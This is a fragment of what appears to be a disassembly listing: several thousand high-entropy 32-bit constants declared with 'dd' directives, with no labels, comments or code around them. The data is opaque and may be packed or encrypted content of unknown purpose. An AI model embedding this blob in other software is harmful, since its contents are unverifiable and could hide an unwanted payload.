		dd 22093D56h, 59A7C0E5h, 47CCB757h, 1D97FB9Fh, 57FF5C2Fh
		dd 0A778FA54h, 560825E9h, 9ABE8345h, 31ACE1Ch, 14846EA4h
		dd 65F031C7h, 26BF1A10h, 381BF95Bh, 6848094Bh, 101A7E25h
		dd 108D1F40h, 33377724h, 241A41Dh, 5C8C0F41h, 0EF65137Ah
		dd 9D11A48Ch, 0E340CF2Bh, 35CEAC1h, 0E2A51C17h,	5D05E9CBh
		dd 0AE2D6A25h, 690C7495h, 2D68B7C3h, 0F6794786h, 296AB88h
		dd 274AA3BFh, 3C039BC1h, 51AC04F7h, 0FDAF0CB1h,	0E0F85040h
		dd 703F1909h, 4E6705Bh,	6C3B62F6h, 0E6010117h, 0F0D0308Bh
		dd 320D005Eh, 5460B44h,	4E3007A4h, 3893F829h, 0C2A4E52h
		dd 68959F9Bh, 8D44F24Fh, 1E90A5CAh, 7AF33C13h, 90EF5A6Ah
		dd 44EEE53Ch, 0FE288A2Eh, 59CC4D16h, 89214A0Ah,	8BC42AD1h
		dd 0ADE3E8ABh, 4EE46870h, 0F410BC46h, 63B3DC04h, 840DA9B8h
		dd 7F7AE2BEh, 81BB4246h, 90F5582Bh, 0EF735C30h,	6C2F2DE3h
		dd 6588D715h, 0B5E1208h, 8166371Ah, 5C02682Eh, 0BE6EBDA0h
		dd 0EDA4D7F5h, 4E7CF856h, 0D66CD0ADh, 0D4A1C032h, 0E7163FE1h
		dd 0E985F6B7h, 2F6FC8Ch, 6851E2D1h, 0F6DC5D7Ch,	3A2CCF60h
		dd 0B95E1B40h, 82050DCEh, 29D05DB4h, 16B1BC87h,	0B6682B17h
		dd 22F1687Ah, 20B62C0Bh, 6661BD17h, 3862802h, 8D03D3BEh
		dd 74E3D25Fh, 325598BFh, 262D178Ah, 4B58965h, 35834863h
		dd 3791B719h, 0A6839294h, 0E9455AD5h, 0FB849FFBh, 595813F3h
		dd 2AC8E9F1h, 0D75E1909h, 5D49A5DBh, 6426EEC5h,	2F6D3808h
		dd 0F497367Eh, 0EE1214ADh, 975EED5Dh, 0B397EAE3h, 0C2D1D38Ch
		dd 0CD920C65h, 6A86BFEEh, 79F6950Ch, 0D052FB2Eh, 51E913C2h
		dd 5D88AB82h, 10C4621Dh, 9E61EB09h, 0A5F12469h,	20486DE0h
		dd 22F630B9h, 5E3E8A0Fh, 767D25Dh, 186A3E1h, 0A07EF801h
		dd 6A972D21h, 60DDF47Dh, 0FC711505h, 0DF782A68h, 42950820h
		dd 0E8C8F50Ah, 60C09469h, 0E57A36BDh, 815D9F21h, 0E777A988h
		dd 50D001D4h, 25E9072Dh, 0E17495DDh, 0DA382479h, 271C075Fh
		dd 1CD50B2Ah, 41C48267h, 4D807D70h, 180352E6h, 8D180F72h
		dd 0CE1976D2h, 564D1F08h, 41800B33h, 0CFB2CEC0h, 0E307A4B0h
		dd 4B2546A8h, 5DF987F2h, 9917F6A3h, 80472805h, 3E805CF5h
		dd 645B5833h, 0AC878E59h, 29460E8Ah, 56425FBBh,	0F5603368h
		dd 576449B4h, 8C1B12D2h, 0C60C2FAAh, 40DB9722h,	7F028E20h
		dd 1460A72h, 9BE62CEh, 0E2397D08h, 5F616829h, 6B8B3ABDh
		dd 54503958h, 4300B9D6h, 81530A40h, 3B3F2AC9h, 0F1072C10h
		dd 231A7F6Fh, 5427CA01h, 857759EAh, 0BA4D40E9h,	5F4BC098h
		dd 0FCD64020h, 0F715F262h, 6AA7D350h, 46EA7B18h, 33236EF8h
		dd 30C12A7h, 0F1A0680h,	31C0850Eh, 0CDEA36FFh, 9EE2E40h
		dd 0D66E5AC9h, 39409F0Ch, 97B3240Ah, 0FFA7A85Bh, 0E9536AB8h
		dd 2993EE2Eh, 0A67D1888h, 25712B06h, 3B85A449h,	0C81331FFh
		dd 0EEA1823Ch, 874E3273h, 0C5D2D6F3h, 80AFC639h, 2E1B7B80h
		dd 10B07835h, 0D1590D44h, 7EDF3CEEh, 80763803h,	0D999AB4Ah
		dd 7C94FC02h, 7B334064h, 74BF4ED6h, 0EBA189DBh,	5A5394DDh
		dd 0BEA902D4h, 40D71E9Ch, 0BD8EA9F5h, 3BF22B4Ch, 0EF5E1BB5h
		dd 60AA09A7h, 0B09FB182h, 0DF72DFAFh, 3D2251A0h, 77BD3FE1h
		dd 0A399FFE4h, 39031830h, 0E45F8148h, 45208AD1h, 0B560B75Dh
		dd 4425E70Ch, 0FB9D68A3h, 87518276h, 301002ACh,	2AB582Ch
		dd 61DA765Eh, 5C73C7Eh,	0E92AB290h, 0D74B4A47h,	0DE3DE1F5h
		dd 0BD78606Dh, 30E94E40h, 0E1236EEBh, 302C08B2h, 1000AA06h
		dd 0E964D961h, 2D5C62C9h, 95DCC431h, 5FBE5660h,	0BD457847h
		dd 595FED0h, 0B17C243h,	5BA7FCD8h, 0B5FCD136h, 4BA37E8Ah
		dd 28FD0B9Fh, 0E9D08FDFh, 6F5782CCh, 9DFE0758h,	7450E53Eh
		dd 705C6199h, 0A7B4C057h, 16E2E480h, 0BEAC49E9h, 9B059170h
		dd 2E09266Ch, 95028D2h,	1E9A0F34h, 5D67B601h, 0D1F6E26Fh
		dd 0A911FD72h, 967FFE6Ah, 10DD95ABh, 0D7E5E9EEh, 8082C2A5h
		dd 0D6F70A68h, 0D1F28716h, 12C91AF0h, 0EA8C2EDEh, 12CD4B14h
		dd 4C304C71h, 3FEF6857h, 5FA4F973h, 0A31716D7h,	594C046Bh
		dd 0AFFC0332h, 0DEA21271h, 1C47FE31h, 8629E2C4h, 0F63EFAB5h
		dd 1AE09975h, 8D770A90h, 0D6EDDD79h, 92B0B2Fh, 0DCB5E2C4h
		dd 0F4555A05h, 354352B5h, 720A7E13h, 0CF0267F8h, 1FAE44E0h
		dd 2D215C5Fh, 4C1811D8h, 0A30C3CCDh, 0C3730B2Bh, 62E014E9h
		dd 571266BDh, 8B0C4A6Dh, 0BD050D62h, 79DD84EAh,	2EB8892Eh
		dd 86E146A0h, 79587C1Fh, 60723B55h, 9E22C1ABh, 89D9045Dh
		dd 0FB0C8BCDh, 41BEAA34h, 183FC77Fh, 8A167A3Bh,	0B9CA67FCh
		dd 1FE9050Dh, 0DEE34903h, 28804C02h, 0F681EB90h, 2C054234h
		dd 0B439E381h, 0D8AC504h, 20E6AA3h, 0A86A44F1h,	3BB26077h
		dd 4CBF2E11h, 284E105Ch, 2E34889Dh, 0E2EA0E2Bh,	57E9C207h
		dd 7D985594h, 0E4991DD6h, 2F9D93A0h, 0DFDD2B48h, 585D0F92h
		dd 0B35EBFD1h, 5C32E961h, 4812DE6Bh, 60197C23h,	32803DFCh
		dd 8E0F4200h, 0D9D81827h, 26D22861h, 88EFFECFh,	0D1008F32h
		dd 3E4835E0h, 0F872C48Eh, 155DB334h, 379904Bh, 4E4208E8h
		dd 778405Ah, 33D8B558h,	0FFC28309h, 789F94Ah, 31F4E374h
		dd 0C25B7CE9h, 6BA3FC5Dh, 6E5150C1h, 91506089h,	4BF7B8F8h
		dd 2614B08Ah, 13465F0h,	81674FAh, 14A58CEBh, 5E088CB4h
		dd 283249Ch, 195372BFh,	5A5B43E0h, 0AD78162Eh, 8B5E1B00h
		dd 0BF6EE970h, 815F9285h, 4569F22h, 6C539D1Ch, 0ED801420h
		dd 4E81F6E5h, 530B9076h, 0B99678B3h, 90748309h,	806350C7h
		dd 0F9168B05h, 0CBAACAE1h, 51166032h, 0B80BA52h, 891D5E35h
		dd 0E9050F50h, 0D55CFDF7h, 0C46E10BEh, 0ED07929Fh, 0DB8D84D7h
		dd 93AAA019h, 6C469006h
		dd 58673549h, 330373EFh, 2976AE57h, 598A5DC3h, 5C42FC51h
		dd 7CDA5F66h, 0BB80BA76h, 36E61F18h, 5BDA8F33h,	0A2E4D76Fh
		dd 81F5D36Ah, 98AB5784h, 0D52AE9ECh, 0AB0EA83h,	0BF163460h
		dd 4CF22FB5h, 0F3063450h, 0B29565FCh, 933D7758h, 4388C404h
		dd 0BA4AF0A8h, 41E0BD28h, 0A3DB0150h, 0DEEDAF54h, 69AD037Fh
		dd 0C5E566Fh, 5E5B14D0h, 36759F51h, 920798E2h, 2D65951Ch
		dd 0E9850923h, 1AE9649Eh, 0F88BFA85h, 8CF4D32Fh, 5A3BFCF7h
		dd 0D61FA255h, 2928A2BCh, 4EE973FEh, 7757D1FBh,	81AB04BFh
		dd 0F75BF289h, 308371F4h, 42DD8A00h, 6E6B689Fh,	9D3B570h
		dd 1416B980h, 25C11BDFh, 94F703E9h, 5E593FC6h, 493FC532h
		dd 69F28941h, 5A509496h, 0C4218BFh, 0FB2F5C91h,	0A05AFC19h
		dd 4AA5FA08h, 2ED8C93Ah, 0A27057AEh, 60AA9212h,	7AABE927h
		dd 0A481D4BDh, 71D8039Ah, 0CB906D81h, 44FA02E5h, 30AE925h
		dd 95646857h, 6988CF8Ch, 0D7F61ECAh, 820CE525h,	0EF87DDF7h
		dd 625A3D60h, 599C1FBEh, 563A684Eh, 0E9C24DA2h,	2E7EE5ECh
		dd 0B231FD87h, 0F1C45DD9h, 6ECC0CC2h, 918055AAh, 61D4371Ah
		dd 0E909DD99h, 62295DC1h, 0C430E1E6h, 3CCE41B4h, 59392462h
		dd 169C2085h, 0E4603EEh, 3139115Eh, 0C04AC672h,	0B522687Dh
		dd 0CE8A1602h, 672C5458h, 0F7552C30h, 0EBF429BFh, 557F39BAh
		dd 25068E1h, 0C449CABBh, 0F852D57Bh, 2455417h, 35FD03AEh
		dd 0DABE4041h, 0FC76E101h, 4527E97Dh, 0EAE0753Bh, 97C68F98h
		dd 0A8B6881h, 47FB2E5Ah, 0CFAEA606h, 0D235F2B6h, 8023D8BAh
		dd 0E16F9141h, 0A08C6EB0h, 28AF3168h, 3E938127h, 0D65C9B22h
		dd 0E9F54920h, 9F293E8h, 32E40B87h, 0B0850394h,	4FDE907h
		dd 43A786Ch, 0B7603001h, 0BD0C8062h, 2965C2D1h,	99E91AF2h
		dd 53774835h, 902CC33Ah, 2CE07492h, 5F824F3Eh, 7FF73844h
		dd 778BBCB7h, 0B28F1C5Eh, 45784F66h, 2AA48461h,	4B5A16E4h
		dd 2562EB30h, 27F55EACh, 3F42E555h, 0B9543D92h,	0CC105A6h
		dd 0B1EF152Bh, 5A08004Ah, 12C0FB01h, 1D076A3Bh,	0B972F68h
		dd 4D13ECE6h, 8F83982Ah, 421DF0EDh, 0EB36CA29h,	0E9993008h
		dd 0FBB73E03h, 9B98BD40h, 0CCF3A919h, 63CA6917h, 8D44D1Ch
		dd 82A83871h, 0B3E90135h, 86F56959h, 266D5789h,	4A075D20h
		dd 2EB84DBDh, 4225835Eh, 2F1331F9h, 0DD8BE5DEh,	7EDE2530h
		dd 2A6855B0h, 9D6D1194h, 45C8E340h, 0EECEA19Fh,	51D41625h
		dd 67F8C057h, 59E911A5h, 30E16C9Ah, 0B72753EFh,	86DD660h
		dd 0B8166789h, 0AE10BDA2h, 2DAE5F59h, 48B140CCh, 10B9E07h
		dd 64136A68h, 0DC9878h,	53C9600Dh, 6B64F581h, 90409026h
		dd 662FA010h, 25E43DC0h, 0E4FDE9CFh, 0B85637BDh, 23C202F5h
		dd 0C16B1B5Ch, 93383843h, 7C1394D1h, 496B209Ch,	4A25777Eh
		dd 26E0DF21h, 64123245h, 0C304310Ah, 72BACD01h,	0DB7DC58Bh
		dd 0A3CE0BF0h, 24F55712h, 4FE5A8Fh, 0BE0E75A5h,	0BB7C141h
		dd 0A16A386Ah, 0A6B36E46h, 4F6DAD10h, 7680A1D0h, 41775C22h
		dd 2D259879h, 0E2FC2A26h, 5D59FD62h, 0F4683718h, 86A9234Eh
		dd 0B67D0492h, 4F68A2A9h, 0FA818EAh, 4D222AD9h,	3300476h
		dd 1E016B73h, 680A2C95h, 0E984180Eh, 31D7492Eh,	0A2891F62h
		dd 0D65FFBC8h, 6E13C17Dh, 0CD2E30A5h, 0BE2D3009h, 930B7E48h
		dd 0A8313408h, 5CF2B73Ah, 0B3D5A1E1h, 0F53188F1h, 3859E8CCh
		dd 28B9C680h, 17EE76F5h, 0EB305866h, 0F2EBD812h, 9AEE53Bh
		dd 8BD5B0AAh, 0AF025D5Bh, 0FE5D3795h, 0C878C965h, 0ADB1F15Eh
		dd 0DF10A23Ah, 0B7007510h, 68EFB256h, 0E29E3466h, 0EEF566Eh
		dd 437DFEC8h, 0D9F6F3E9h, 157C20A2h, 0D020C728h, 1F949CADh
		dd 0DC1B9E50h, 0E61770CDh, 2E2E2C6Eh, 2202E46Ch, 0F8202A24h
		dd 41612F73h, 7C2590DAh, 134F5170h, 0E99AFB54h,	7548A313h
		dd 0A197AFEAh, 0B8A2F7D5h, 35C3285Fh, 568D540h,	58A1246Ch
		dd 5A91C059h, 2076776Ah, 72B9C917h, 8A7203FFh, 0C94E5C0Bh
		dd 0EAF522BBh, 0C6028456h, 8459E6C7h, 9BE0AFC2h, 9683170Fh
		dd 6A28EE88h, 0A3314A55h, 84AA4A06h, 8CF9BBDFh,	0AF3E3786h
		dd 48BD1820h, 0F105C459h, 81167958h, 80BFB458h,	0E57C699h
		dd 7D894EEFh, 0C2DE4EF0h, 0E4C1438Ch, 0CA902B8Fh, 3E06FD05h
		dd 68174877h, 80CDF852h, 285B58E2h, 5AB5FAD3h, 9F0191A6h
		dd 5C77C268h, 0E2647A61h, 19CB515Fh, 0D2FCB250h, 2C9DBB43h
		dd 0E9801745h, 31683D78h, 52F31F17h, 0F1DDC258h, 0FF0113B0h
		dd 884B408Ah, 62FE919h,	8068E60Eh, 27B131B9h, 48D5BB71h
		dd 25685D1Ch, 97DE22F2h, 556BC2E2h, 0E7E8DDBBh,	6F4ADA68h
		dd 0F2048024h, 0EB1612E3h, 9AF727C0h, 64C32037h, 30B7E926h
		dd 0A468AD82h, 8237D108h, 5D6B789Fh, 504E5477h,	16A80D13h
		dd 0BCBEE8E9h, 0C0B05007h, 2C07021Fh, 5B7C5F01h, 0E1A8CB13h
		dd 924EBD4Fh, 255C0408h, 5127527Ch, 0FEF81245h,	0E93873CFh
		dd 58A309CEh, 0FE226EFFh, 0CC5E493Fh, 0EE5FF916h, 78E86062h
		dd 964148BBh, 25186D1Ch, 0E0259B57h, 0C017BB82h, 6843E919h
		dd 80F82CDDh, 0D312ED5Bh, 8013CABBh, 755FB850h,	0E9620CA7h
		dd 0BF3A6F6Bh, 0F1725502h, 5F7C0123h, 0B20CC82h, 0D84B94F4h
		dd 778A8AD4h, 582DB170h, 43B9D453h, 0EF2A7BDh, 80ED6340h
		dd 3E6D7B05h, 0BAFCD7E9h, 0B3FDA94Ah, 1E1C2759h, 53822FD3h
		dd 0E63AD568h, 1315F05Dh, 51C541Fh, 99427A9Ah, 0C0FAE483h
		dd 0D9D23BB5h, 0BB2405F0h, 0ADBE0756h, 6077C10Ah, 6F685E5Ah
		dd 27A3DB9Dh, 2596447Dh, 0CA80575Dh, 0BF693178h, 3FB32E3Dh
		dd 0E9DF84B4h, 84D37B96h, 46B6FD7Dh, 4631E64h, 0D584F201h
		dd 0C83394FBh, 315ED6FCh, 0FEA371A8h, 0ABC94DEAh, 12F3F843h
		dd 4AB56317h, 0C0C55CAAh, 14346B7Eh, 2E4B08E9h,	4B455D98h
		dd 40258C11h, 8E26BF7h,	5000E1DFh, 1C5BDE68h, 654F9C57h
		dd 0E051E1F7h, 0F0BF0C39h, 9A1907Dh, 0A3ABA1B6h, 2D011D7Eh
		dd 264913FDh, 2518D5D4h, 72F82577h, 0AD0783h, 8C2D5B11h
		dd 6305443Bh, 14E9C601h, 5817B5F8h, 43990409h, 0C367AA38h
		dd 0AD88C1A4h, 36BD2D68h, 0E9415EDBh, 0DD3A867Fh, 2DAFECF2h
		dd 48E7C180h, 9A00CD07h, 2967E536h, 7627E9F8h, 6EDFA3E3h
		dd 4A0C002Dh, 2A2FE281h, 0B5905D11h, 27D1FA4Bh,	25F460C2h
		dd 75950Dh, 7A16F2ABh, 0F38051Ah, 0BF934488h, 0A018BCCAh
		dd 0B7C64133h, 6992C01h, 0D9648E0Fh, 51E92E86h,	48EC7D42h
		dd 7D27FC9Eh, 475A96B6h, 0C6537FC4h, 0CC6EB3BBh, 40B62E3Ch
		dd 4DB04B16h, 645DA22h,	0E717D8E3h, 0FF0C0C6Dh,	0F410E02Bh
		dd 0F007455Bh, 933E2A94h, 0E890B14h, 0F2BCD591h, 0C232D995h
		dd 504833E9h, 0EC97F931h, 270FB6C2h, 603A0BDDh,	6BF4E90Fh
		dd 71606B69h, 0D72F8DFEh, 8FD762C3h, 105B60E9h,	0AA3CE96Bh
		dd 2B4257A0h, 6A622B41h, 3C68A920h, 0A546B13Bh,	4B20FC50h
		dd 0D6B1247Fh, 24531340h, 0BAE084E3h, 46174561h, 200E442Eh
		dd 0E08AFEA6h, 64D9BE93h, 1684F97Bh, 0B8645E70h, 9A8B2BAh
		dd 0F5532168h, 0C0C617B2h, 61A0575Fh, 20F83B03h, 0D3DBF9Ah
		dd 8411745Fh, 0CC7EC068h, 95A0539Dh, 43272BA9h,	54E87542h
		dd 40551D68h, 6EC3F535h, 2ABA4500h, 0F461FB44h,	208B41BBh
		dd 9F803E3h, 252F477Bh,	569F18DAh, 802BBE4Bh, 4C12BD55h
		dd 68957083h, 0B98A2089h, 438602E8h, 0DF42A161h, 30DA6457h
		dd 0BE22BC19h, 0DC000EC0h
		dd 54E6813Ch, 0B82B334Eh, 0C9194AE5h, 0A0A03E71h, 0CF5BB749h
		dd 0C576AF3Ch, 0EC92BE6Ch, 5DE7EE93h, 0B98F597Ch, 0E2072648h
		dd 993979A4h, 0E05829D6h, 69112872h, 42300BFAh,	0BF0471Fh
		dd 8ED1F728h, 65A3084Eh, 4209C9DFh, 7FB63EC8h, 297C660Ch
		dd 0EECE78DEh, 1A1B1D23h, 79EEC04Eh, 21C5BA3Eh,	3CF0F55Fh
		dd 994A1720h, 3B98001Ch, 29882BE6h, 0D95FFD2Fh,	30ED02BEh
		dd 4FC06B64h, 0A2FE95Bh, 80DA797Eh, 5A823483h, 18149B2Dh
		dd 1CCE4B75h, 0FE6744E9h, 3F396358h, 0D284B535h, 9F85F2BBh
		dd 79A15FBDh, 18846339h, 4FA8BADCh, 0BC11D2A7h,	0B4E0F0D4h
		dd 73C480DFh, 3AEB3B10h, 2877C306h, 7EB10E3h, 2698DBBBh
		dd 0B09F3126h, 9F27052Ah, 0D46C17E2h, 0C438620Eh, 3037BF00h
		dd 0F0715FC2h, 0B45E2BECh, 306AE1B6h, 16EC024Dh, 0E27D3147h
		dd 7065075Eh, 814CE3E0h, 0A1830BEFh, 0BF04A5F2h, 0DB02C847h
		dd 7CED5826h, 0F94CCB1Fh, 0BF2AA51Ch, 2B77C88Bh, 36FFD3E1h
		dd 0BAF72AE6h, 0EAB8DEEAh, 9B18D16h, 897DB902h,	0F16E7F97h
		dd 8C261AB3h, 7179DE0Ch, 0A9234E46h, 0C160D209h, 0C4341A68h
		dd 1C6162Dh, 813FFDBAh,	3F587774h, 0E15EB51Ah, 2E096B88h
		dd 302B7252h, 0D84B356Ah, 665E4B04h, 328969FEh,	84028B5Dh
		dd 0B8009B7Ch, 4CF94168h, 224EEAF4h, 0EC7B9AE7h, 8EB68021h
		dd 17F6801Eh, 1388718Eh, 6E3899AEh, 4BB1CF8Ch, 7E128E88h
		dd 55F27D25h, 0BD5A02C4h, 5203D2ACh, 0D2F6DA88h, 505AD3A0h
		dd 517EB016h, 19FC0B46h, 888BC47h, 4F0187A1h, 56CD810Fh
		dd 0E8C97B97h, 0FC5E2F5Dh, 0C28B602Ch, 251493BFh, 20BB3761h
		dd 0A7C59D59h, 1802D3A4h, 601DE151h, 2665417Eh,	855A1A36h
		dd 0F8E7DFBFh, 8AEE4E5Dh, 8AD35A66h, 69C2D94Fh,	803BDD30h
		dd 6E4D5E68h, 35F18366h, 0CA102461h, 0F8831388h, 0EBB997BAh
		dd 0F9953E17h, 0DF6126E6h, 0E49F7EAFh, 5183E029h, 2E0CBD2Ch
		dd 7FC60618h, 6A430957h, 9255F001h, 56F97DE3h, 0AA5412BEh
		dd 0C5D0B6D7h, 2DF44798h, 3F625A31h, 6BBE595Dh,	7B4DF0B1h
		dd 0E7FB3E12h, 40F990E5h, 0F60026E9h, 2E9C0D9h,	958A840Fh
		dd 0F180D781h, 44973A08h, 1089DCFEh, 0BFCD5231h, 895208D6h
		dd 872BA90Eh, 8B727B79h, 2F3E56A5h, 0E94120D9h,	7A69B5E8h
		dd 0E9E09B94h, 559584E1h, 62065D2Fh, 0B6E62452h, 72E1E74Eh
		dd 2A6830F0h, 91F4A02h,	0C083B353h, 0F2716155h,	0F6132E6Ch
		dd 32360BD3h, 4FFBDF86h, 9FE3D03Ah, 0CA899CB2h,	0A7800E97h
		dd 90978F2h, 9EDA8583h,	1EABA6E4h, 0CD1FE183h, 0EE755823h
		dd 500CF96h, 10E31757h,	0E147A5E9h, 0B40AFC6Eh,	1F83ECAAh
		dd 4B1778F8h, 172F608h,	0CEB5D9BAh, 3B016AA1h, 293F9E62h
		dd 5F3AE9D8h, 5BB2B71Ah, 0B14ED7E2h, 0FEC60002h, 0DA2F9253h
		dd 0A8165F29h, 408582B5h, 0BA80091Fh, 34586EC5h, 3013BC90h
		dd 0EEB6914h, 4802242Bh, 12090136h, 6779743Ch, 6CDECB54h
		dd 0BA3CE9F0h, 985D71B4h, 626A0FB3h, 77A61836h,	0BD0E1A61h
		dd 721A145Ch, 6C319BFh,	2060C07h, 64EEF581h, 0D3C143D7h
		dd 1C406A92h, 0DD020504h, 0B7FFB0AEh, 7F2E3B73h, 0E6AE1E92h
		dd 7D88611Ah, 842FAF74h, 8334F1FCh, 310EE880h, 57F8CAC8h
		dd 669DB5C6h, 501B20EFh, 8B905F98h, 3333182Dh, 0C5DCD154h
		dd 0A809986Eh, 66317A5Eh, 0D002F8Ch, 0FB1711C0h, 3618520Fh
		dd 147ABE5Dh, 0CB270A5Bh, 4A379605h, 4EBFC10h, 4E6DD041h
		dd 5780E1ECh, 31380DFCh, 0D62DF05Bh, 0C633C531h, 2A41FC5Bh
		dd 0CB06D955h, 34E6677Ch, 2C45170Ch, 7F09EA53h,	0A1A48607h
		dd 35200B91h, 0C65E2D25h, 0F57517C2h, 0DC9C4891h, 74F83A35h
		dd 50B740BAh, 3CDACBB7h, 0F25F6A27h, 95282D9h, 3D02769Fh
		dd 0AF8001ADh, 34FB685Fh, 2EE25996h, 925BD788h,	5426A227h
		dd 0AC95DD19h, 1CC23535h, 32097521h, 0BF7344DDh, 0B027A6DBh
		dd 0C4991D74h, 0C25AB3B5h, 3860012Ah, 0B5335104h, 87DB12FCh
		dd 78DDE9C2h, 3162BDAEh, 0DC9BF182h, 12225F09h,	0F15D5551h
		dd 0FF5D4406h, 2C52178h, 21297FB8h, 0B262CD01h,	0E9590801h
		dd 8C127E0Dh, 69095BDCh, 5B6E404Bh, 83A4E92Fh, 0E8E68846h
		dd 17F41FC7h, 0B8213DEDh, 8B5B276Eh, 503401F0h,	0A28167BFh
		dd 1C4079CDh, 0F65EA511h, 5FE98466h, 74FA1737h,	7D52A45Fh
		dd 0B5244492h, 5134BE8h, 825A70F4h, 0E7EC745Dh,	3B7399E8h
		dd 0B7A1F112h, 742CBA2Bh, 7184150h, 12CECADEh, 7644AF8Eh
		dd 3D1F4D16h, 0B7C72CF7h, 6974AFC1h, 3D523C02h,	67C5EC70h
		dd 14E95833h, 6FCDAB9Ah, 77C26F31h, 0E016D6FBh,	88EA9A56h
		dd 8095D020h, 11345249h, 56D2BE5Eh, 0BD5E482h, 0D3FFFC18h
		dd 4FE9FCA8h, 0CEA9C24Fh, 172F0AC4h, 826B55A8h,	59BA7060h
		dd 0E05B6528h, 5F9C201h, 0D689FE20h, 992EB23Fh,	3E2107h
		dd 609DC9D1h, 68741E49h, 71F8434Bh, 0D56379C7h,	0EB8FC41Fh
		dd 99525AD7h, 880948AEh, 1A669717h, 7F2CEF07h, 0D6EE5459h
		dd 86C023C4h, 25A30A53h, 0F6784940h, 75CE1E6h, 36FD1E9Ah
		dd 0CA09BA05h, 0D0FEE306h, 0E52C1336h, 0AA2D0466h, 0C023ECDBh
		dd 580367F6h, 7F9568h, 3238E8DBh, 0F2012F41h, 0DC4B11DCh
		dd 7368E1B7h, 0C49B2850h, 25DE4053h, 0E5D4EF4Bh, 0F45F88ADh
		dd 5BB55F27h, 36ACAD35h, 631744EEh, 2B812CD4h, 0BF505908h
		dd 0BF181F68h, 5602016Dh, 0A2EE28E9h, 747839AEh, 12EECF11h
		dd 0C4DF147Ah, 440FBD8Eh, 32FC3ABh, 303C7ABDh, 0EE16BA96h
		dd 2CA46E74h, 6C360CBFh, 59281AD3h, 7DC45782h, 2A962B04h
		dd 0DEF2F750h, 0A5CE908h, 21E4603Eh, 11D3429h, 15F96853h
		dd 0E85B2D4Ah, 5E2DE9D9h, 1316FF3Ah, 7A5F78FCh,	1B3A7591h
		dd 4CE3F564h, 134C5F07h, 8680EC20h, 8AB922BFh, 97D7654Fh
		dd 27D59145h, 1203CF61h, 0BB0CEB39h, 0CBA8EA75h, 6E685917h
		dd 5F2594F9h, 0DB5FAD42h, 0A703EAECh, 0E9D6B0FDh, 7B96481Eh
		dd 3A4AFD2h, 25409469h,	774CE27Fh, 5101BA16h, 64E0BE56h
		dd 73B0D5Bh, 0B68A0F0Eh, 8020D766h, 0AADE9723h,	0C5E571ADh
		dd 0D112BE19h, 0E90A109Bh, 0A7B8F7DAh, 85AC3B79h, 0F0340816h
		dd 5A5235C0h, 0C770F140h, 0E61D59D3h, 0B6049570h, 76E0BF46h
		dd 0A1814A88h, 8909014Dh, 5FBC68D8h, 0B905F72Dh, 0B75E8EA0h
		dd 0E74204DBh, 8B72FB50h, 0AA7FF1F6h, 537026DCh, 54E59DCFh
		dd 92FC403Eh, 0F5801242h, 122ABC18h, 20AE0CB4h,	7E13685Dh
		dd 0C2F2C182h, 970CEC3Ah, 17E6D1FAh, 0BBA70415h, 419D0554h
		dd 8CF16FD9h, 3A51F13Bh, 7A436DAAh, 202E314h, 69405DC5h
		dd 0A862634Eh, 9496BFA2h, 0E2660BE0h, 50D77412h, 72AEA881h
		dd 6F598139h, 0B4501746h, 0A13155F6h, 0F06A996Bh, 5797DDFAh
		dd 5C25B6B4h, 0DD07EA53h, 99492702h, 65163F80h,	0D69817B1h
		dd 0AACE180Ah, 1910BD82h, 0C72DA358h, 0DAD74E4Ah, 63E297B4h
		dd 0FBF0425Dh, 5B688506h, 0D99ABA73h, 4532FF4Ah, 0BDE4C82Ah
		dd 0B972144Bh, 0B476E475h, 0A0C0E506h, 0B1417CDFh, 1CCFE73Bh
		dd 4300E5BAh, 0D0F28178h, 0B856E22Bh, 4AB9390Dh, 0B162312Dh
		dd 90CE947Dh, 783B0977h, 0A0F763ADh, 5D536DA7h,	210CC01Eh
		dd 511B24B0h, 313E59F2h, 7E0CEEAh, 0D43E5F3Bh, 0D7F2BBD4h
		dd 16131658h, 0DDAD212Ch, 3ABA0020h, 24D3D53h, 0C9CFCE1Ah
		dd 0F43450D7h, 91154B0Bh, 57820C0h, 20F94616h, 38CDCCDFh
		dd 9D0EF37Bh, 0C149687Bh
		dd 8D7F3AEBh, 0FCBF220h, 2AC07AB1h, 0AD08C380h,	8295C2B2h
		dd 91DED00h, 0EC4A0005h, 860F064Ah, 3B573297h, 0D10478F5h
		dd 0EBEE8910h, 0B2E9AC60h, 0A789BC71h, 5549A3DEh, 3620A872h
		dd 2F9B68Eh, 1A801285h,	0D963143h, 0C08CE925h, 1E6ABA2Dh
		dd 8C2B7B61h, 5814B9A7h, 0EE5AFAA4h, 0C84957BCh, 800F4F02h
		dd 3A7D3E57h, 0F734894Fh, 0BD047296h, 97B238A1h, 94BF4185h
		dd 939B8219h, 5BAF5657h, 615E06F7h, 74746627h, 0DB62CBDCh
		dd 2123F41h, 5A8A5E5Dh,	0E3808D7Bh, 68452226h, 0CC5A4A3Bh
		dd 0C1207DBh, 0DEF9305Eh, 27D5B84h, 0F9176268h,	4086A0A8h
		dd 0D35A31EAh, 49516180h, 0CD2550B4h, 802840C6h, 0FE2BC500h
		dd 60810FCDh, 53B9C477h, 2660BAB4h, 0BECB8Ah, 68F93F7Fh
		dd 946E681h, 0BF2B9B2Eh, 9A5FA540h, 0C580B52Fh,	29308A52h
		dd 60AEF35Eh, 13E2E965h, 0BD265092h, 10530C68h,	2764B5A0h
		dd 128BF7BEh, 0A04A0405h, 0FC12BF1Bh, 6605023Eh, 0AC0263F7h
		dd 0F623E907h, 0FC880EF8h, 0AA58E644h, 4098D42Ch, 52955F3Ch
		dd 52E0C63h, 5BA90930h,	12756815h, 4DE784E9h, 0CB9254EEh
		dd 2271310h, 4C0DECBAh,	0A5425D4Fh, 9BF637Fh, 0BB530506h
		dd 0D80FB771h, 0A0C45E5Bh, 0C4BF9F90h, 1EB6EFBEh, 5D36B812h
		dd 0A0068998h, 0DBF77222h, 3FAAA6E1h, 29C745BCh, 0E655F9C5h
		dd 6AA82046h, 432C7CC2h, 0EBD683DEh, 10D2428h, 0FC2B17ECh
		dd 585BCB92h, 845048CFh, 0B4594A0Bh, 3E5F301h, 3FC6CC81h
		dd 0A00CE73Ch, 6A8B12EDh, 7D989070h, 555A30FBh,	3C88BFA0h
		dd 9A6154D6h, 0E4C1B151h, 0EFF259CFh, 0DAF32BE7h, 0C073E90Bh
		dd 0AAB67DDh, 601EBh, 833C91E3h, 0FF49536Eh, 0CBB516BEh
		dd 6F7E4D20h, 41523034h, 6A859F0Eh, 97E15AB5h, 0C5AF1A45h
		dd 242E28D8h, 50454E9Ah, 2AFFFD21h, 56D622F0h, 0C27E10BFh
